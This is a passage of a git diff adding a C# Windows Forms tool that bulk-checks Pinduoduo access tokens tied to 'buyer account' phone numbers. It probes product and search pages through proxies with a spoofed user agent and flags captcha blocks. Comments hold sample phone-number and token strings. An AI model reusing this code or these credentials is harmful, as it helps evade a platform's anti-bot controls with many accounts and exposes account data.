GetProductDetailByApi(17252982258, pddAccessToken); + } + } + } + if (html.Contains("goodsName")|| html.Contains("垃圾桶")) + { + obj.Result.ProductDetailStatus = 1; + } + else + { + obj.Result.ProductDetailStatus = -1; + obj.Result.IsCaptcha = true; + } + url = "http://yangkeduo.com/search_result.html?search_key=垃圾桶"; + if (flag == 1) + html = GetProxyHtml.UploadProxyTaobao(url, refere, true, "PDDAccessToken=" + pddAccessToken); + else + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, "PDDAccessToken=" + pddAccessToken); + + if (html.Contains("goodsName")) + { + obj.Result.SearchStatus = 1; + } + else + { + int keyWordIndex = url.LastIndexOf('='); + if (keyWordIndex > 0) + { + var keyWord = url.Substring(keyWordIndex + 1); + if (html.Contains(keyWord)) + { + obj.Result.SearchStatus = -1; + } + } + obj.Result.IsCaptcha = true; + } + } + else + { + obj.Result.LoginStatus = -1; + obj.Result.IsCaptcha = true; + } + return obj; + } + public string GetProductDetailByApi(long productId, string pddAccessToken) + { + string url = "https://yangkeduo.com/proxy/api/api/oak/integration/render?pdduid={0}"; + HttpParam httpParam = new HttpParam(); + string cookie = "PDDAccessToken=" + pddAccessToken; + Dictionary cookieDict = GetCookieDictionary(cookie); + string key = "pdd_user_id"; + if (cookieDict.ContainsKey(key)) + { + httpParam.Url = string.Format(url, cookieDict[key]); + } + else + { + httpParam.Url = string.Format(url, 0); + } + httpParam.ContentType = "application/json;charset=UTF-8"; + httpParam.PostData = JsonConvert.SerializeObject(new + { + page_version = "7", + goods_id = productId, + page_from = 0, + hostname = "yangkeduo.com", + client_time =GetUnixMilliSecondTimeStamp(DateTime.Now) + BaseClass.TimeDifferent * 1000 + }); + AddHeader(httpParam, "AccessToken", pddAccessToken); + AddRequestParamForPinDuoDuoWeb(httpParam, pddAccessToken); + string html = Post(httpParam); + if (html.Contains("goods_id") && html.Contains("mall_id")) + { + JObject jObj = JObject.Parse(html); + return html; + } + return ""; + } + public static string Post(HttpParam httpParam) + { + try + { + HttpWebRequest request = GetHttpWebRequest(httpParam); + request.Method = "Post"; + request.ServicePoint.Expect100Continue = false; + byte[] postDataByte = Encoding.UTF8.GetBytes(httpParam.PostData); + request.ContentLength = postDataByte.Length; + request.AllowAutoRedirect = false; + using (Stream requestStream = request.GetRequestStream()) + { + requestStream.Write(postDataByte, 0, postDataByte.Length); + } + return ReadResponse(httpParam, (HttpWebResponse)request.GetResponse()); + } + catch + { + return ""; + } + + } + public static long GetUnixMilliSecondTimeStamp(DateTime dt) + { + DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1)); + return (long)(dt - startTime).TotalMilliseconds; + } + public static bool IsNotPinDuoDuoProductDetail(string html) + { + return !html.Contains("topGallery") && !html.Contains("商品不存在") && !html.Contains("商品已下架") && !html.Contains("\"mall\""); + } + public string GetProductDetail(string url, string pddAccessToken) + { + HttpParam httpParam = new HttpParam { Url = url }; + AddRequestParamForPinDuoDuoWeb(httpParam, pddAccessToken); + string html = Get(httpParam); + return html; + } + public static string UserAgent = "Mozilla/5.0 (Linux; Android 7.1.1; OD103 Build/NMF26F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.84 Mobile Safari/537.36"; + private void AddRequestParamForPinDuoDuoWeb(HttpParam httpParam, string accessToken) + { + httpParam.Cookie = "PDDAccessToken=" + accessToken; + httpParam.UserAgent = UserAgent; + if (!string.IsNullOrEmpty(httpParam.Cookie)) + { + Dictionary cookieDict = GetCookieDictionary(httpParam.Cookie); + string key = "VerifyAuthToken"; + if (cookieDict.ContainsKey(key)) + { + AddHeader(httpParam, key, cookieDict[key]); + } + } + } + public static void AddHeader(HttpParam httpParam, string key, string value) + { + if (httpParam.Header == null) + { + httpParam.Header = new Dictionary(); + } + httpParam.Header.Remove(key); + httpParam.Header.Add(key, value); + } + /// + /// 字符串转成Cookie Dictionary + /// + /// + /// + public static Dictionary GetCookieDictionary(string cookie) + { + Dictionary dict = new Dictionary(); + string[] cookieArr = SplitToArray(cookie, ';'); + foreach (string line in cookieArr) + { + int index = line.IndexOf('='); + if (index > 0) + { + string key = line.Substring(0, index); + string value = line.Substring(index + 1); + if (!dict.ContainsKey(key)) + { + dict.Add(key, value); + } + } + } + return dict; + } + public static T[] SplitToArray(string value, char split) + { + T[] arr = value.Split(new string[] { split.ToString() }, StringSplitOptions.RemoveEmptyEntries).CastSuper().ToArray(); + return arr; + } + private void checkBox1_CheckedChanged(object sender, EventArgs e) + { + isSaveToServer = checkBox1.Checked; + } + + private void splitContainer1_Panel1_Paint(object sender, PaintEventArgs e) + { + + } + private void TextBoxForm_SaveComplete(object param) + { + string[] lineArr = param.ParseToString().Split(new string[] { "\r", "\n" }, StringSplitOptions.RemoveEmptyEntries).Distinct().ToArray(); + List tokenList = new List(); + foreach (string token in lineArr) + { + string[] tokenArr = token.Split(new string[] { "----" }, StringSplitOptions.RemoveEmptyEntries); + switch (tokenArr.Length) + { + case 1: + tokenList.Add(token); + break; + + case 3: + // 第三个是token,格式为 14704717242----9496706479025----5FMVBP7QAK4DQNJO6NE3225GGSLBQEO2S5LT4GF3DUD2BVJVEW5Q103b187 + tokenList.Add(tokenArr[2]); + break; + + case 4: + // 第二个是token,格式为 13598846146----B6SD4DVKPFKTK5ZX5MWGOAS3TK6HIJNMK4AVJ6SZAZDVL4CTSP5Q110e49e----5054402823396----3045303225 + tokenList.Add(tokenArr[1]); + break; + + default: + foreach (string split in tokenArr) + { + // 拼多多的token是59个字符 + if (split.Length == 59) + { + tokenList.Add(split); + } + } + break; + } + } + CheckToken(tokenList.ToArray(), isSaveToServer); + } + + private void button3_Click(object sender, EventArgs e) + { + RefreshDataGridView(); + } + + public bool isLoading = false; + private void RefreshDataGridView() + { + if (isLoading) + { + BaseMsgForm.ShowInfo("当前正在加载,请稍等"); + return; + } + this.statusBar.pgbTaskProgress.Maximum = PinduoduoProductCollect.PinDuoDuoTokenList.Count; + Task.Run(() => + { + isLoading = true; + for (int i = 0; i < PinduoduoProductCollect.PinDuoDuoTokenList.Count; i++) + { + if (i % 5 == 0 || i == PinduoduoProductCollect.PinDuoDuoTokenList.Count - 1) + { + if (this.Created) + { + this.Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = "正在加载..."; + this.statusBar.pgbTaskProgress.Value = (i + 1); + this.statusBar.pgbTaskProgress.Text = (i + 1) + "/" + PinduoduoProductCollect.PinDuoDuoTokenList.Count; + })); + } + } + AddDataGridViewRowToken(PinduoduoProductCollect.PinDuoDuoTokenList[i]); + } + if (this.Created) + { + this.Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = "加载完毕"; + })); + } + isLoading = false; + }); + } + + private void textBox2_Click(object sender, EventArgs e) + { + TextForm textForm = new TextForm(); + textForm.onSaveComplete += TextBoxForm_SaveComplete; + textForm.ShowDialog(); + } + + private void textBox1_Click(object sender, EventArgs e) + { + PinDuoDuoLoginForm pinDuoDuoLoginForm = new PinDuoDuoLoginForm(); + pinDuoDuoLoginForm.onSaveComplete += PinDuoDuoLoginForm_SaveComplete; + pinDuoDuoLoginForm.ShowDialog(); + } + private void PinDuoDuoLoginForm_SaveComplete(object obj) + { + CheckToken(new string[] { obj.ParseToString() }, true); + } + + private void textBox1_TextChanged(object sender, EventArgs e) + { + + } + + private void button2_Click(object sender, EventArgs e) + { + List dataGridViewRowList = dataGridView3.Rows.Cast().Where(p => p.Cells["onSelectColumn"].Value.ToString() == "True").ToList(); + if (!dataGridViewRowList.Any()) + { + BaseMsgForm.ShowInfo("请选择需要删除的Token码"); + return; + } + foreach (DataGridViewRow dgvr in dataGridViewRowList) + { + DeleteToken(dgvr.Index); + } + SaveConfig(); + } + + private void DeleteToken(int rowIndex) + { + string token = this.dataGridView3.Rows[rowIndex].Cells["TokenColumn"].Value.ParseToString(); + dataGridView3.Rows.RemoveAt(rowIndex); + PinduoduoProductCollect.PinDuoDuoTokenList.RemoveAll(p => p.PDDAccessToken == token); + } + + private void TokenNewForm_Load(object sender, EventArgs e) + { + if (BaseClass.Ico != null) + Icon = BaseClass.Ico; + this.statusBar.pgbTaskProgress.Minimum = 0; + RefreshDataGridView(); + } + + private void selectAllcheckBox_CheckedChanged(object sender, EventArgs e) + { + for (int i = 0; i < dataGridView3.Rows.Count; i++) + { + dataGridView3.Rows[i].Cells["onSelectColumn"].Value = selectAllcheckBox.Checked; + } + } + + private void checkBox2_CheckedChanged(object sender, EventArgs e) + { + for (int i = 0; i < dataGridView3.Rows.Count; i++) + { + if (checkBox2.Checked && dataGridView3.Rows[i].Cells["StatusColumn"].Value.ToString() == "不能用") + { + dataGridView3.Rows[i].Cells["onSelectColumn"].Value = true; + } + else + { + dataGridView3.Rows[i].Cells["onSelectColumn"].Value = false; + } + } + } + + private void checkBox3_CheckedChanged(object sender, EventArgs e) + { + for (int i = 0; i < dataGridView3.Rows.Count; i++) + { + if (checkBox3.Checked && dataGridView3.Rows[i].Cells["StatusColumn"].Value.ToString() == "正常") + { + dataGridView3.Rows[i].Cells["onSelectColumn"].Value = true; + } + else + { + dataGridView3.Rows[i].Cells["onSelectColumn"].Value = false; + } + } + } + + public static string Get(HttpParam httpParam) + { + try + { + HttpWebRequest request = GetHttpWebRequest(httpParam); + request.Method = "Get"; + return ReadResponse(httpParam, (HttpWebResponse)request.GetResponse()); + } + catch (Exception ex) + { + return string.Empty; + } + } + + public static string ReadResponse(HttpParam httpParam, HttpWebResponse response) + { + using (Stream stream = DecompressStream(response)) + { + using (StreamReader streamReader = new StreamReader(stream, httpParam.ResponseEncoding)) + { + return streamReader.ReadToEnd(); + } + } + } + public static Stream DecompressStream(HttpWebResponse response) + { + Stream responseStream = response.GetResponseStream(); + Stream stream = null; + if (response.ContentEncoding.ToLower().Contains("gzip")) + { + stream = new GZipStream(responseStream, CompressionMode.Decompress); + } + else if (response.ContentEncoding.ToLower().Contains("deflate")) + { + stream = new DeflateStream(responseStream, CompressionMode.Decompress); + } + if (stream == null) + { + return responseStream; + } + else + { + return stream; + } + } + public static HttpWebRequest GetHttpWebRequest(HttpParam param) + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(param.Url); + if (param.Proxy != null) + { + request.Proxy = param.Proxy; + } + //else + //{ + // request.Proxy = NaiBaGlobalConfig.GetDevelopProxy(); + //} + if (!string.IsNullOrEmpty(param.UserAgent)) + { + request.UserAgent = param.UserAgent; + } + else + { + request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"; + } + if (!string.IsNullOrEmpty(param.Accept)) + { + request.Accept = param.Accept; + } + else + { + request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; + } + if (string.IsNullOrEmpty(param.AcceptLanguage)) + { + request.Headers.Add("Accept-Language", "zh-CN,zh;q=0.9,en;q=0.8"); + } + else + { + request.Headers.Add("Accept-Language", param.AcceptLanguage); + } + if (!string.IsNullOrEmpty(param.ContentType)) + { + request.ContentType = param.ContentType; + } + else + { + request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8"; + } + if (!string.IsNullOrEmpty(param.Referer)) + { + request.Referer = param.Referer; + } + request.Headers.Remove("Cookie"); + if (!string.IsNullOrEmpty(param.Cookie)) + { + request.Headers.Add("Cookie", param.Cookie); + } + if (param.Header != null) + { + foreach (KeyValuePair header in param.Header) + { + request.Headers.Add(header.Key, header.Value); + } + } + if (param.Timeout > 0) + { + request.Timeout = param.Timeout; + } + else + { + request.Timeout = 60 * 1000; + } + return request; + } + } + + + public enum UserAgentTypeEnum + { + [Description("未知")] + Unknown = 0, + + [Description("PC")] + PC = 1, + + [Description("Mobile")] + Mobile = 2, + + [Description("Pad")] + Pad = 3 + } + public class HttpParam + { + public HttpParam() + { + ResponseEncoding = Encoding.UTF8; + } + public string Url { get; set; } + public string Method { get; set; } + public string PostData { get; set; } + public string ContentType { get; set; } + public string Cookie { get; set; } + public string Referer { get; set; } + public string UserAgent { get; set; } + public UserAgentTypeEnum UserAgentType { get; set; } + public string AcceptLanguage { get; set; } + public string Accept { get; set; } + [JsonIgnore] + public WebProxy Proxy { get; set; } + public int Timeout { get; set; } + public Dictionary Header { get; set; } + public int ProxySleep { get; set; } + public int TryTimes { get; set; } + public int ActualTryTimes { get; set; } + [JsonIgnore] + public CancellationTokenSource CancellationTokenSource { get; set; } + [JsonIgnore] + public Encoding ResponseEncoding { get; set; } + } + + + +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ToolForms/TokenNewForm.designer.cs b/TEMUKJD/KJDForms/ToolForms/TokenNewForm.designer.cs new file mode 100644 index 0000000..148e3ac --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/TokenNewForm.designer.cs @@ -0,0 +1,491 @@ + +namespace LittleRabbit.LittleRabbitForms.ToolForms +{ + partial class TokenNewForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.splitContainer3 = new System.Windows.Forms.SplitContainer(); + this.groupBox1 = new System.Windows.Forms.GroupBox(); + this.checkBox3 = new System.Windows.Forms.CheckBox(); + this.checkBox2 = new System.Windows.Forms.CheckBox(); + this.selectAllcheckBox = new System.Windows.Forms.CheckBox(); + this.button3 = new LittleRabbit.UserControls.ButtonEx(); + this.checkBox1 = new System.Windows.Forms.CheckBox(); + this.button1 = new LittleRabbit.UserControls.ButtonEx(); + this.button2 = new LittleRabbit.UserControls.ButtonEx(); + this.groupBox3 = new System.Windows.Forms.GroupBox(); + this.label2 = new System.Windows.Forms.Label(); + this.textBox2 = new System.Windows.Forms.TextBox(); + this.groupBox2 = new System.Windows.Forms.GroupBox(); + this.textBox1 = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.dataGridView3 = new System.Windows.Forms.DataGridView(); + this.onSelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.TokenColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.loginStatusColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colSearchStatusColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.StatusColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colCaptchaColumn = new System.Windows.Forms.DataGridViewLinkColumn(); + this.colShopOperateColumn = new System.Windows.Forms.DataGridViewLinkColumn(); + this.delColumn = new System.Windows.Forms.DataGridViewLinkColumn(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).BeginInit(); + this.splitContainer3.Panel1.SuspendLayout(); + this.splitContainer3.SuspendLayout(); + this.groupBox1.SuspendLayout(); + this.groupBox3.SuspendLayout(); + this.groupBox2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dataGridView3)).BeginInit(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(98)))), ((int)(((byte)(200))))); + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(1, 33); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.BackColor = System.Drawing.Color.White; + this.splitContainer1.Panel1.Controls.Add(this.splitContainer3); + this.splitContainer1.Panel1.Paint += new System.Windows.Forms.PaintEventHandler(this.splitContainer1_Panel1_Paint); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.BackColor = System.Drawing.Color.White; + this.splitContainer1.Panel2.Controls.Add(this.splitContainer2); + this.splitContainer1.Size = new System.Drawing.Size(1048, 576); + this.splitContainer1.SplitterDistance = 109; + this.splitContainer1.SplitterWidth = 1; + this.splitContainer1.TabIndex = 0; + // + // splitContainer3 + // + this.splitContainer3.BackColor = System.Drawing.Color.White; + this.splitContainer3.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer3.Location = new System.Drawing.Point(0, 0); + this.splitContainer3.Name = "splitContainer3"; + // + // splitContainer3.Panel1 + // + this.splitContainer3.Panel1.Controls.Add(this.groupBox1); + this.splitContainer3.Panel1.Controls.Add(this.groupBox3); + this.splitContainer3.Panel1.Controls.Add(this.groupBox2); + this.splitContainer3.Size = new System.Drawing.Size(1048, 109); + this.splitContainer3.SplitterDistance = 880; + this.splitContainer3.SplitterWidth = 1; + this.splitContainer3.TabIndex = 5; + // + // groupBox1 + // + this.groupBox1.Controls.Add(this.checkBox3); + this.groupBox1.Controls.Add(this.checkBox2); + this.groupBox1.Controls.Add(this.selectAllcheckBox); + this.groupBox1.Controls.Add(this.button3); + this.groupBox1.Controls.Add(this.checkBox1); + this.groupBox1.Controls.Add(this.button1); + this.groupBox1.Controls.Add(this.button2); + this.groupBox1.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.groupBox1.Location = new System.Drawing.Point(540, 8); + this.groupBox1.Name = "groupBox1"; + this.groupBox1.Size = new System.Drawing.Size(293, 91); + this.groupBox1.TabIndex = 2; + this.groupBox1.TabStop = false; + this.groupBox1.Text = "操作"; + // + // checkBox3 + // + this.checkBox3.AutoSize = true; + this.checkBox3.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.checkBox3.Location = new System.Drawing.Point(179, 17); + this.checkBox3.Name = "checkBox3"; + this.checkBox3.Size = new System.Drawing.Size(46, 20); + this.checkBox3.TabIndex = 397; + this.checkBox3.Text = "正常"; + this.checkBox3.UseVisualStyleBackColor = true; + this.checkBox3.CheckedChanged += new System.EventHandler(this.checkBox3_CheckedChanged); + // + // checkBox2 + // + this.checkBox2.AutoSize = true; + this.checkBox2.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.checkBox2.Location = new System.Drawing.Point(109, 17); + this.checkBox2.Name = "checkBox2"; + this.checkBox2.Size = new System.Drawing.Size(57, 20); + this.checkBox2.TabIndex = 396; + this.checkBox2.Text = "不可用"; + this.checkBox2.UseVisualStyleBackColor = true; + this.checkBox2.CheckedChanged += new System.EventHandler(this.checkBox2_CheckedChanged); + // + // selectAllcheckBox + // + this.selectAllcheckBox.AutoSize = true; + this.selectAllcheckBox.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.selectAllcheckBox.Location = new System.Drawing.Point(23, 17); + this.selectAllcheckBox.Name = "selectAllcheckBox"; + this.selectAllcheckBox.Size = new System.Drawing.Size(78, 20); + this.selectAllcheckBox.TabIndex = 395; + this.selectAllcheckBox.Text = "全选Token"; + this.selectAllcheckBox.UseVisualStyleBackColor = true; + this.selectAllcheckBox.CheckedChanged += new System.EventHandler(this.selectAllcheckBox_CheckedChanged); + // + // button3 + // + this.button3.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.button3.Cursor = System.Windows.Forms.Cursors.Hand; + this.button3.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.button3.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.button3.ForeColor = System.Drawing.Color.White; + this.button3.Location = new System.Drawing.Point(202, 39); + this.button3.Name = "button3"; + this.button3.Size = new System.Drawing.Size(75, 26); + this.button3.TabIndex = 3; + this.button3.Text = "刷新"; + this.button3.UseVisualStyleBackColor = false; + this.button3.Click += new System.EventHandler(this.button3_Click); + // + // checkBox1 + // + this.checkBox1.AutoSize = true; + this.checkBox1.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.checkBox1.Location = new System.Drawing.Point(23, 69); + this.checkBox1.Name = "checkBox1"; + this.checkBox1.Size = new System.Drawing.Size(90, 20); + this.checkBox1.TabIndex = 2; + this.checkBox1.Text = "同步到服务器"; + this.checkBox1.UseVisualStyleBackColor = true; + this.checkBox1.Visible = false; + this.checkBox1.CheckedChanged += new System.EventHandler(this.checkBox1_CheckedChanged); + // + // button1 + // + this.button1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.button1.Cursor = System.Windows.Forms.Cursors.Hand; + this.button1.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.button1.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.button1.ForeColor = System.Drawing.Color.White; + this.button1.Location = new System.Drawing.Point(22, 39); + this.button1.Name = "button1"; + this.button1.Size = new System.Drawing.Size(75, 26); + this.button1.TabIndex = 0; + this.button1.Text = "检测Token"; + this.button1.UseVisualStyleBackColor = false; + this.button1.Click += new System.EventHandler(this.button1_Click); + // + // button2 + // + this.button2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.button2.Cursor = System.Windows.Forms.Cursors.Hand; + this.button2.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.button2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.button2.ForeColor = System.Drawing.Color.White; + this.button2.Location = new System.Drawing.Point(112, 39); + this.button2.Name = "button2"; + this.button2.Size = new System.Drawing.Size(75, 26); + this.button2.TabIndex = 1; + this.button2.Text = "删除Token"; + this.button2.UseVisualStyleBackColor = false; + this.button2.Click += new System.EventHandler(this.button2_Click); + // + // groupBox3 + // + this.groupBox3.Controls.Add(this.label2); + this.groupBox3.Controls.Add(this.textBox2); + this.groupBox3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.groupBox3.Location = new System.Drawing.Point(269, 8); + this.groupBox3.Name = "groupBox3"; + this.groupBox3.Size = new System.Drawing.Size(263, 91); + this.groupBox3.TabIndex = 4; + this.groupBox3.TabStop = false; + this.groupBox3.Text = "Token设置"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(31, 45); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(38, 16); + this.label2.TabIndex = 1; + this.label2.Text = "token"; + // + // textBox2 + // + this.textBox2.Location = new System.Drawing.Point(71, 40); + this.textBox2.Name = "textBox2"; + this.textBox2.Size = new System.Drawing.Size(152, 22); + this.textBox2.TabIndex = 0; + this.textBox2.Click += new System.EventHandler(this.textBox2_Click); + this.textBox2.TextChanged += new System.EventHandler(this.textBox1_TextChanged); + // + // groupBox2 + // + this.groupBox2.Controls.Add(this.textBox1); + this.groupBox2.Controls.Add(this.label1); + this.groupBox2.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.groupBox2.Location = new System.Drawing.Point(10, 8); + this.groupBox2.Name = "groupBox2"; + this.groupBox2.Size = new System.Drawing.Size(250, 91); + this.groupBox2.TabIndex = 3; + this.groupBox2.TabStop = false; + this.groupBox2.Text = "买手号设置"; + // + // textBox1 + // + this.textBox1.Location = new System.Drawing.Point(76, 41); + this.textBox1.Name = "textBox1"; + this.textBox1.Size = new System.Drawing.Size(143, 22); + this.textBox1.TabIndex = 1; + this.textBox1.Click += new System.EventHandler(this.textBox1_Click); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(23, 45); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(41, 16); + this.label1.TabIndex = 0; + this.label1.Text = "手机号"; + // + // splitContainer2 + // + this.splitContainer2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(98)))), ((int)(((byte)(200))))); + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.BackColor = System.Drawing.Color.White; + this.splitContainer2.Panel1.Controls.Add(this.dataGridView3); + this.splitContainer2.Panel1.Font = new System.Drawing.Font("微软雅黑", 9F); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.statusBar); + this.splitContainer2.Size = new System.Drawing.Size(1048, 466); + this.splitContainer2.SplitterDistance = 432; + this.splitContainer2.SplitterWidth = 1; + this.splitContainer2.TabIndex = 5; + // + // dataGridView3 + // + this.dataGridView3.AllowUserToAddRows = false; + this.dataGridView3.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dataGridView3.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dataGridView3.BackgroundColor = System.Drawing.Color.White; + this.dataGridView3.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.dataGridView3.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.Single; + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dataGridView3.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dataGridView3.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dataGridView3.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.onSelectColumn, + this.TokenColumn, + this.loginStatusColumn, + this.colSearchStatusColumn, + this.StatusColumn, + this.colCaptchaColumn, + this.colShopOperateColumn, + this.delColumn}); + this.dataGridView3.Dock = System.Windows.Forms.DockStyle.Fill; + this.dataGridView3.Location = new System.Drawing.Point(0, 0); + this.dataGridView3.Name = "dataGridView3"; + this.dataGridView3.ReadOnly = true; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dataGridView3.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dataGridView3.RowTemplate.Height = 23; + this.dataGridView3.Size = new System.Drawing.Size(1048, 432); + this.dataGridView3.TabIndex = 4; + this.dataGridView3.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dataGridView3_CellContentClick); + this.dataGridView3.RowPostPaint += new System.Windows.Forms.DataGridViewRowPostPaintEventHandler(this.dataGridView3_RowPostPaint); + // + // onSelectColumn + // + this.onSelectColumn.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.onSelectColumn.HeaderText = "选择"; + this.onSelectColumn.Name = "onSelectColumn"; + this.onSelectColumn.ReadOnly = true; + this.onSelectColumn.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.onSelectColumn.Width = 40; + // + // TokenColumn + // + this.TokenColumn.HeaderText = "Token"; + this.TokenColumn.Name = "TokenColumn"; + this.TokenColumn.ReadOnly = true; + this.TokenColumn.Width = 399; + // + // loginStatusColumn + // + this.loginStatusColumn.HeaderText = "登录状态"; + this.loginStatusColumn.Name = "loginStatusColumn"; + this.loginStatusColumn.ReadOnly = true; + // + // colSearchStatusColumn + // + this.colSearchStatusColumn.HeaderText = "关键词采集状态"; + this.colSearchStatusColumn.Name = "colSearchStatusColumn"; + this.colSearchStatusColumn.ReadOnly = true; + this.colSearchStatusColumn.Visible = false; + this.colSearchStatusColumn.Width = 120; + // + // StatusColumn + // + this.StatusColumn.HeaderText = "商品详情状态"; + this.StatusColumn.Name = "StatusColumn"; + this.StatusColumn.ReadOnly = true; + // + // colCaptchaColumn + // + this.colCaptchaColumn.HeaderText = "激活"; + this.colCaptchaColumn.Name = "colCaptchaColumn"; + this.colCaptchaColumn.ReadOnly = true; + this.colCaptchaColumn.Resizable = 